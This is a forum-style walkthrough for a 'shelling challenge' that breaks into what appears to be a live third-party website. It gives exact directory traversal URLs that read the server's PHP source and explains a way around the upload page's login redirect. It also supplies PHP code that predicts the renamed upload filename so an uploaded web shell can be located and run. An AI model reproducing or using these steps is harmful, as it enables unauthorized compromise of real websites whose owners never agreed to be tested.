Zen's Shelling Challenge [Solution]

So, the challenge was to shell the site..
It was vulnerable to Directory Traversal. Some mistook it for LFI and were trying stuff like using PHP wrappers, but the real vulnerability was here:

http://www.vepr.info/zobraz_pohadku.php?pohadka=baron.txt .. http://prntscr.com/86fm87

After crawling through the site, we found /upload.php. Visiting that page redirects you to http://www.vepr.info/login.php?act=2&reason=99, but that's easily bypassed using NoRedirect.

First, let's read the file:
http://www.vepr.info/zobraz_pohadku.php?pohadka=../../../../../../../../../../d1/www/domain/vepr.info/www/upload.php .. http://prntscr.com/86fnk3

By examining upload.php, we see it includes a function through require(). Next, we'll read includes/func.php:

http://www.vepr.info/zobraz_pohadku.php?pohadka=../../../../../../../../../../d1/www/domain/vepr.info/www/includes/func.php .. http://prntscr.com/86fpby

In func.php, there's a function that takes a file name, does some processing, and appends a timestamp to it. Here's the relevant code:

---
function dwn_name($name){
  $oldname = basename($name);
  $i = 0;
  while((substr($oldname,-$i-1,1) != ".") && ($i < strlen($oldname)))
    $i++;
  $ext = substr($oldname,-$i,$i);
  $base = substr($oldname,0,strlen($oldname)-$i-1);
  return $base."_[".substr(time(),1,7)."].".$ext;
}
$x = $_REQUEST['shell'];
echo dwn_name($x);
---

Save this function for later use. Now, before accessing upload.php, add /login.php to NoRedirect's filter list. http://prntscr.com/86fss8 .. http://prntscr.com/86fxmz

When you receive this message http://prntscr.com/86fwu3, run the PHP code you saved earlier. It should generate something like this http://prntscr.com/86fx3t

Ta-da! http://prntscr.com/86fx9k